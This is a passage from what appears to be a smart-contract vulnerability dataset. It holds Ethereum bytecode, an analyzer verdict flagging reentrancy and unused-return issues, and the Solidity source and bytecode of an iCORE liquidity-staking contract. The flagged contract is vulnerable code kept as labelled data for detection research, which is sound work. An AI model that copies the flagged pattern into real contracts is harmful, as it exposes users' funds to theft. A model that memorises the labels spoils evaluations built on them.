8e565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d855750600e546001600160a01b03848116911614155b8015610daa57506001600160a01b03831660009081526005602052604090205460ff16155b15610db9576001600a55600b80555b6000610dc43061048f565b600f54909150600160a81b900460ff16158015610def5750600f546001600160a01b03858116911614155b8015610e045750600f54600160b01b900460ff165b15610e2457610e1281610f79565b478015610e2257610e2247610e70565b505b505b610e31838383611102565b505050565b60008184841115610e5a5760405162461bcd60e51b81526004016103f09190611793565b506000610e6784866118e7565b95945050505050565b600c546001600160a01b03166108fc610e8a83600261110d565b6040518115909202916000818181858888f19350505050158015610eb2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecd83600261110d565b6040518115909202916000818181858888f193505050501580156105c4573d6000803e3d6000fd5b6000600854821115610f5c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f0565b6000610f6661114f565b9050610f72838261110d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc157610fc161192f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d919061159c565b816001815181106110605761106061192f565b6001600160a01b039283166020918202929092010152600e5461108691309116846109c7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf90859060009086903090429060040161181d565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e31838383611172565b6000610f7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611269565b600080600061115c611297565b909250905061116b828261110d565b9250505090565b600080600080600080611184876112df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b6908761133c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e5908661137e565b6001600160a01b038916600090815260026020526040902055611207816113dd565b6112118483611427565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125691815260200190565b60405180910390a3505050505050505050565b6000818361128a5760405162461bcd60e51b81526004016103f09190611793565b506000610e6784866118a6565b60085460009081906b033b2e3c9fd0803ce80000006112b6828261110d565b8210156112d6575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fc8a600a54600b5461144b565b925092509250600061130c61114f565b9050600080600061131f8e8787876114a0565b919e509c509a509598509396509194505050505091939550919395565b6000610f7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e36565b60008061138b838561188e565b905083811015610f725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b60006113e761114f565b905060006113f583836114f0565b30600090815260026020526040902054909150611412908261137e565b30600090815260026020526040902055505050565b600854611434908361133c565b600855600954611444908261137e565b6009555050565b6000808080611465606461145f89896114f0565b9061110d565b90506000611478606461145f8a896114f0565b905060006114908261148a8b8661133c565b9061133c565b9992985090965090945050505050565b60008080806114af88866114f0565b905060006114bd88876114f0565b905060006114cb88886114f0565b905060006114dd8261148a868661133c565b939b939a50919850919650505050505050565b6000826114ff57506000610357565b600061150b83856118c8565b90508261151885836118a6565b14610f725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b803561157a8161195b565b919050565b60006020828403121561159157600080fd5b8135610f728161195b565b6000602082840312156115ae57600080fd5b8151610f728161195b565b600080604083850312156115cc57600080fd5b82356115d78161195b565b915060208301356115e78161195b565b809150509250929050565b60008060006060848603121561160757600080fd5b83356116128161195b565b925060208401356116228161195b565b929592945050506040919091013590565b6000806040838503121561164657600080fd5b82356116518161195b565b946020939093013593505050565b6000602080838503121561167257600080fd5b823567ffffffffffffffff8082111561168a57600080fd5b818501915085601f83011261169e57600080fd5b8135818111156116b0576116b0611945565b8060051b604051601f19603f830116810181811085821117156116d5576116d5611945565b604052828152858101935084860182860187018a10156116f457600080fd5b600095505b8386101561171e5761170a8161156f565b8552600195909501949386019386016116f9565b5098975050505050505050565b60006020828403121561173d57600080fd5b8135610f7281611970565b60006020828403121561175a57600080fd5b8151610f7281611970565b60008060006060848603121561177a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c0578581018301518582016040015282016117a4565b818111156117d2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186d5784516001600160a01b031683529383019391830191600101611848565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a1576118a1611919565b500190565b6000826118c357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e2576118e2611919565b500290565b6000828210156118f9576118f9611919565b500390565b600060001982141561191257611912611919565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048c57600080fd5b801515811461048c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1345c78262dac47d5cc975ff09d5b4dd0050c8bc8ee57cfb20b4cad8e33387464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
443
0xf4185c6e680ec4a82f839e162322ca9a7ad5324c
// LTSSC // iCORE liquidity token staking smart contract (farming) pragma solidity ^0.7.0; library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IStakedRewardsPool { function balanceOf(address account) external view returns (uint256); function earned(address account) external view returns (uint256); function rewardsToken() external view returns (IERC20); function stakingToken() external view returns (IERC20); function stakingTokenDecimals() external view returns (uint8); function totalSupply() external view returns (uint256); function exit() external; function getReward() external; function getRewardExact(uint256 amount) external; function pause() external; function recoverUnsupportedERC20( IERC20 token, address to, uint256 amount ) external; function stake(uint256 amount) external; function unpause() external; function updateReward() external; function updateRewardFor(address account) external; function withdraw(uint256 amount) external; event RewardPaid(address indexed account, uint256 amount); event Staked(address indexed account, uint256 amount); event Withdrawn(address indexed account, uint256 amount); event Recovered(IERC20 token, address indexed to, uint256 amount); } interface IStakedRewardsPoolTimedRate is IStakedRewardsPool { function accruedRewardPerToken() external view returns (uint256); function hasEnded() external view returns (bool); function hasStarted() external view returns (bool); function lastTimeRewardApplicable() external view returns (uint256); function periodDuration() external view returns (uint256); function periodEndTime() external view returns (uint256); function periodStartTime() external view returns (uint256); function rewardRate() external view returns (uint256); function timeRemainingInPeriod() external view returns (uint256); function addToRewardsAllocation(uint256 amount) external; function setNewPeriod(uint256 startTime, uint256 endTime) external; event RewardAdded(uint256 amount); event NewPeriodSet(uint256 startTIme, uint256 endTime); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } contract ReentrancyGuard { // transaction's gas, it is best to keep them low in cases like this one, to uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract StakedRewardsPool is Context, ReentrancyGuard, Ownable, Pausable, IStakedRewardsPool { using SafeERC20 for IERC20; using SafeMath for uint256; mapping(address => uint256) internal _rewards; uint8 private _stakingTokenDecimals; IERC20 private _rewardsToken; IERC20 private _stakingToken; uint256 private _stakingTokenBase; mapping(address => uint256) private _balances; uint256 private _totalSupply; constructor( IERC20 rewardsToken, IERC20 stakingToken, uint8 stakingTokenDecimals ) Ownable() { require( stakingTokenDecimals < 77, "StakedRewardsPool: staking token has far too many decimals" ); _rewardsToken = rewardsToken; _stakingToken = stakingToken; _stakingTokenDecimals = stakingTokenDecimals; _stakingTokenBase = 10**stakingTokenDecimals; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function earned(address account) public view virtual override returns (uint256); function rewardsToken() public view override returns (IERC20) { return _rewardsToken; } function stakingToken() public view override returns (IERC20) { return _stakingToken; } function stakingTokenDecimals() public view override returns (uint8) { return _stakingTokenDecimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function exit() public override nonReentrant { _exit(); } function getReward() public override nonReentrant { _getReward(); } function getRewardExact(uint256 amount) public override nonReentrant { _getRewardExact(amount); } function pause() public override onlyOwner { _pause(); } function recoverUnsupportedERC20( IERC20 token, address to, uint256 amount ) public override onlyOwner { _recoverUnsupportedERC20(token, to, amount); } function stake(uint256 amount) public override nonReentrant whenNotPaused { _stakeFrom(_msgSender(), amount); } function unpause() public override onlyOwner { _unpause(); } function updateReward() public override nonReentrant { _updateRewardFor(_msgSender()); } function updateRewardFor(address account) public override nonReentrant { _updateRewardFor(account); } function withdraw(uint256 amount) public override nonReentrant { _withdraw(amount); } function _getStakingTokenBase() internal view returns (uint256) { return _stakingTokenBase; } function _exit() internal virtual { _withdraw(_balances[_msgSender()]); _getReward(); } function _getReward() internal virtual { _updateRewardFor(_msgSender()); uint256 reward = _rewards[_msgSender()]; if (reward > 0) { _rewards[_msgSender()] = 0; _rewardsToken.safeTransfer(_msgSender(), reward); emit RewardPaid(_msgSender(), reward); } } function _getRewardExact(uint256 amount) internal virtual { _updateRewardFor(_msgSender()); uint256 reward = _rewards[_msgSender()]; require( amount <= reward, "StakedRewardsPool: can not redeem more rewards than you have earned" ); _rewards[_msgSender()] = reward.sub(amount); _rewardsToken.safeTransfer(_msgSender(), amount); emit RewardPaid(_msgSender(), amount); } function _recoverUnsupportedERC20( IERC20 token, address to, uint256 amount ) internal virtual { require( token != _stakingToken, "StakedRewardsPool: cannot withdraw the staking token" ); require( token != _rewardsToken, "StakedRewardsPool: cannot withdraw the rewards token" ); token.safeTransfer(to, amount); emit Recovered(token, to, amount); } function _stakeFrom(address account, uint256 amount) internal virtual { require( account != address(0), "StakedRewardsPool: cannot stake from the zero address" ); require(amount > 0, "StakedRewardsPool: cannot stake zero"); _updateRewardFor(account); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); _stakingToken.safeTransferFrom(account, address(this), amount); emit Staked(account, amount); } function _updateRewardFor(address account) internal virtual; function _withdraw(uint256 amount) internal virtual { require(amount > 0, "StakedRewardsPool: cannot withdraw zero"); _updateRewardFor(_msgSender()); _totalSupply = _totalSupply.sub(amount); _balances[_msgSender()] = _balances[_msgSender()].sub(amount); _stakingToken.safeTransfer(_msgSender(), amount); emit Withdrawn(_msgSender(), amount); } } contract StakedRewardsPoolTimedRate is StakedRewardsPool, IStakedRewardsPoolTimedRate { using SafeMath for uint256; uint256 private _accruedRewardPerToken; mapping(address => uint256) private _accruedRewardPerTokenPaid; uint256 private _lastUpdateTime; uint256 private _periodEndTime; uint256 private _periodStartTime; uint256 private _rewardRate; modifier whenStarted { require( hasStarted(), "StakedRewardsPoolTimedRate: current rewards distribution period has not yet begun" ); _; } constructor( IERC20 rewardsToken, IERC20 stakingToken, uint8 stakingTokenDecimals, uint256 periodStartTime, uint256 periodEndTime ) StakedRewardsPool(rewardsToken, stakingToken, stakingTokenDecimals) { _periodStartTime = periodStartTime; _periodEndTime = periodEndTime; } function accruedRewardPerToken() public view override returns (uint256) { uint256 totalSupply = totalSupply(); if (totalSupply == 0) { return _accruedRewardPerToken; } uint256 lastUpdateTime = _lastUpdateTime; uint256 lastTimeApplicable = lastTimeRewardApplicable(); if (_periodStartTime > lastUpdateTime) { if (_periodStartTime > lastTimeApplicable) { return _accruedRewardPerToken; } lastUpdateTime = _periodStartTime; } uint256 dt = lastTimeApplicable.sub(lastUpdateTime); if (dt == 0) { return _accruedRewardPerToken; } uint256 accruedReward = _rewardRate.mul(dt); return _accruedRewardPerToken.add( accruedReward.mul(_getStakingTokenBase()).div(totalSupply) ); } function earned(address account) public view override(IStakedRewardsPool, StakedRewardsPool) returns (uint256) { return balanceOf(account) .mul(accruedRewardPerToken().sub(_accruedRewardPerTokenPaid[account])) .div(_getStakingTokenBase()) .add(_rewards[account]); } function hasStarted() public view override returns (bool) { return block.timestamp >= _periodStartTime; } function hasEnded() public view override returns (bool) { return block.timestamp >= _periodEndTime; } function lastTimeRewardApplicable() public view override returns (uint256) { if (!hasStarted()) { return _lastUpdateTime; } return Math.min(block.timestamp, _periodEndTime); } function periodDuration() public view override returns (uint256) { return _periodEndTime.sub(_periodStartTime); } function periodEndTime() public view override returns (uint256) { return _periodEndTime; } function periodStartTime() public view override returns (uint256) { return _periodStartTime; } function rewardRate() public view override returns (uint256) { return _rewardRate; } function timeRemainingInPeriod() public view override whenStarted returns (uint256) { if (hasEnded()) { return 0; } return _periodEndTime.sub(block.timestamp); } function addToRewardsAllocation(uint256 amount) public override nonReentrant onlyOwner { _addToRewardsAllocation(amount); } function setNewPeriod(uint256 startTime, uint256 endTime) public override onlyOwner { require( !hasStarted() || hasEnded(), "StakedRewardsPoolTimedRate: cannot change an ongoing staking period" ); require( endTime > startTime, "StakedRewardsPoolTimedRate: endTime must be greater than startTime" ); require( startTime > block.timestamp, "StakedRewardsPoolTimedRate: startTime must be greater than the current block time" ); _updateAccrual(); if (hasEnded()) { _rewardRate = 0; } else { uint256 totalReward = _rewardRate.mul(periodDuration()); _rewardRate = totalReward.div(endTime.sub(startTime)); } _periodStartTime = startTime; _periodEndTime = endTime; emit NewPeriodSet(startTime, endTime); } function _addToRewardsAllocation(uint256 amount) internal { _updateAccrual(); uint256 remainingTime; if (!hasStarted() || hasEnded()) { remainingTime = periodDuration(); } else { remainingTime = timeRemainingInPeriod(); } _rewardRate = _rewardRate.add(amount.div(remainingTime)); emit RewardAdded(amount); } function _updateAccrual() internal { _accruedRewardPerToken = accruedRewardPerToken(); _lastUpdateTime = lastTimeRewardApplicable(); } function _updateRewardFor(address account) internal override { _updateAccrual(); _rewards[account] = earned(account); _accruedRewardPerTokenPaid[account] = _accruedRewardPerToken; } }
0x608060405234801561001057600080fd5b50600436106101e45760003560e01c806380faa57d1161010f578063b9f7a7b5116100a2578063ecb70fb711610071578063ecb70fb714610412578063f2fde38b1461041a578063f36c0a7214610440578063f469519914610448576101e4565b8063b9f7a7b5146103dc578063bdf7acce146103fa578063d1af0c7d14610402578063e9fad8ee1461040a576101e4565b80638da5cb5b116100de5780638da5cb5b146103a7578063996f0932146103af578063a694fc3a146103b7578063b470aade146103d4576101e4565b806380faa57d1461033b57806381b72684146103435780638456cb591461036957806386a86d4114610371576101e4565b80633f4ba83a11610187578063715018a611610156578063715018a6146102ff57806372f702f314610307578063736d7c231461032b5780637b0a47ee14610333576101e4565b80633f4ba83a146102ad57806344691f7e146102b55780635c975abb146102d157806370a08231146102d9576101e4565b806318160ddd116101c357806318160ddd146102635780631d8df8f91461026b5780632e1a7d4d146102885780633d18b912146102a5576101e4565b80628cc262146101e957806306032dec146102215780630c2d27ac14610240575b600080fd5b61020f600480360360208110156101ff57600080fd5b50356001600160a01b0316610450565b60408051918252519081900360200190f35b61023e6004803603602081101561023757600080fd5b50356104c8565b005b61023e6004803603604081101561025657600080fd5b5080359060200135610524565b61020f6106e3565b61023e6004803603602081101561028157600080fd5b50356106ea565b61023e6004803603602081101561029e57600080fd5b5035610796565b61023e6107ea565b61023e610844565b6102bd6108a6565b604080519115158252519081900360200190f35b6102bd6108af565b61020f600480360360208110156102ef57600080fd5b50356001600160a01b03166108bf565b61023e6108da565b61030f61097c565b604080516001600160a01b039092168252519081900360200190f35b61020f61098b565b61020f6109f7565b61020f6109fd565b61023e6004803603602081101561035957600080fd5b50356001600160a01b0316610a20565b61023e610a74565b61023e6004803603606081101561038757600080fd5b506001600160a01b03813581169160208101359091169060400135610ad4565b61030f610b3c565b61020f610b4b565b61023e600480360360208110156103cd57600080fd5b5035610b51565b61020f610bff565b6103e4610c18565b6040805160ff9092168252519081900360200190f35b61020f610c21565b61030f610c27565b61023e610c3b565b6102bd610c8e565b61023e6004803603602081101561043057600080fd5b50356001600160a01b0316610c97565b61023e610d90565b61020f610deb565b6001600160a01b0381166000908152600260205260408120546104c2906104bc610478610e9c565b6001600160a01b0386166000908152600960205260409020546104b6906104a7906104a1610deb565b90610ea2565b6104b0886108bf565b90610eeb565b90610f44565b90610f86565b92915050565b6002600054141561050e576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561051c81610fe0565b506001600055565b61052c6110fa565b6001546001600160a01b0390811691161461057c576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b6105846108a6565b15806105935750610593610c8e565b6105ce5760405162461bcd60e51b8152600401808060200182810382526043815260200180611bf86043913960600191505060405180910390fd5b81811161060c5760405162461bcd60e51b8152600401808060200182810382526042815260200180611cb96042913960600191505060405180910390fd5b42821161064a5760405162461bcd60e51b8152600401808060200182810382526051815260200180611d656051913960600191505060405180910390fd5b6106526110fe565b61065a610c8e565b15610669576000600d5561069a565b600061067f610676610bff565b600d5490610eeb565b905061069561068e8385610ea2565b8290610f44565b600d55505b600c829055600b819055604080518381526020810183905281517fa6b56f4ff0798bc2816f31bd924541079dbadafce7eaf7f72fe7127d5d0d8be1929181900390910190a15050565b6007545b90565b60026000541415610730576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561073d6110fa565b6001546001600160a01b0390811691161461078d576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b61051c81611116565b600260005414156107dc576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561051c816111a6565b60026000541415610830576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561083d6112bf565b6001600055565b61084c6110fa565b6001546001600160a01b0390811691161461089c576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b6108a4611391565b565b600c5442101590565b600154600160a01b900460ff1690565b6001600160a01b031660009081526006602052604090205490565b6108e26110fa565b6001546001600160a01b03908116911614610932576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6004546001600160a01b031690565b60006109956108a6565b6109d05760405162461bcd60e51b8152600401808060200182810382526051815260200180611df76051913960600191505060405180910390fd5b6109d8610c8e565b156109e5575060006106e7565b600b546109f29042610ea2565b905090565b600d5490565b6000610a076108a6565b610a145750600a546106e7565b6109f242600b54611439565b60026000541415610a66576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561051c8161144f565b610a7c6110fa565b6001546001600160a01b03908116911614610acc576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b6108a461148e565b610adc6110fa565b6001546001600160a01b03908116911614610b2c576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b610b3783838361151c565b505050565b6001546001600160a01b031690565b600b5490565b60026000541415610b97576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b6002600055600154600160a01b900460ff1615610bee576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61051c610bf96110fa565b8261161a565b60006109f2600c54600b54610ea290919063ffffffff16565b60035460ff1690565b600c5490565b60035461010090046001600160a01b031690565b60026000541415610c81576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561083d61174a565b600b5442101590565b610c9f6110fa565b6001546001600160a01b03908116911614610cef576040805162461bcd60e51b81526020600482018190526024820152600080516020611dd7833981519152604482015290519081900360640190fd5b6001600160a01b038116610d345760405162461bcd60e51b8152600401808060200182810382526026815260200180611c3b6026913960400191505060405180910390fd5b6001546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b60026000541415610dd6576040805162461bcd60e51b815260206004820152601f6024820152600080516020611bd8833981519152604482015290519081900360640190fd5b600260005561083d610de66110fa565b61144f565b600080610df66106e3565b905080610e075750506008546106e7565b600a546000610e146109fd565b905081600c541115610e3d5780600c541115610e375760085493505050506106e7565b600c5491505b6000610e498284610ea2565b905080610e5e576008549450505050506106e7565b600d54600090610e6e9083610eeb565b9050610e92610e89866104b6610e82610e9c565b8590610eeb565b60085490610f86565b9550505050505090565b60055490565b6000610ee483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611787565b9392505050565b600082610efa575060006104c2565b82820282848281610f0757fe5b0414610ee45760405162461bcd60e51b8152600401808060200182810382526021815260200180611db66021913960400191505060405180910390fd5b6000610ee483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181e565b600082820183811015610ee4576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610feb610de66110fa565b600060026000610ff96110fa565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508082111561105b5760405162461bcd60e51b8152600401808060200182810382526043815260200180611cfb6043913960600191505060405180910390fd5b6110658183610ea2565b600260006110716110fa565b6001600160a01b031681526020810191909152604001600020556110ae6110966110fa565b60035461010090046001600160a01b03169084611883565b6110b66110fa565b6001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486836040518082815260200191505060405180910390a25050565b3390565b611106610deb565b6008556111116109fd565b600a55565b61111e6110fe565b60006111286108a6565b15806111375750611137610c8e565b1561114b57611144610bff565b9050611156565b61115361098b565b90505b61116c6111638383610f44565b600d5490610f86565b600d556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a15050565b600081116111e55760405162461bcd60e51b8152600401808060200182810382526027815260200180611d3e6027913960400191505060405180910390fd5b6111f0610de66110fa565b6007546111fd9082610ea2565b60075561123081600660006112106110fa565b6001600160a01b0316815260208101919091526040016000205490610ea2565b6006600061123c6110fa565b6001600160a01b031681526020810191909152604001600020556112746112616110fa565b6004546001600160a01b03169083611883565b61127c6110fa565b6001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5826040518082815260200191505060405180910390a250565b6112ca610de66110fa565b6000600260006112d86110fa565b6001600160a01b031681526020810191909152604001600020549050801561138e576000600260006113086110fa565b6001600160a01b0316815260208101919091526040016000205561134561132d6110fa565b60035461010090046001600160a01b03169083611883565b61134d6110fa565b6001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b50565b600154600160a01b900460ff166113e6576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6001805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61141c6110fa565b604080516001600160a01b039092168252519081900360200190a1565b60008183106114485781610ee4565b5090919050565b6114576110fe565b61146081610450565b6001600160a01b03909116600090815260026020908152604080832093909355600854600990915291902055565b600154600160a01b900460ff16156114e0576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861141c6110fa565b6004546001600160a01b03848116911614156115695760405162461bcd60e51b8152600401808060200182810382526034815260200180611ba46034913960400191505060405180910390fd5b6003546001600160a01b038481166101009092041614156115bb5760405162461bcd60e51b8152600401808060200182810382526034815260200180611c856034913960400191505060405180910390fd5b6115cf6001600160a01b0384168383611883565b604080516001600160a01b038581168252602082018490528251908516927ffff3b3844276f57024e0b42afec1a37f75db36511e438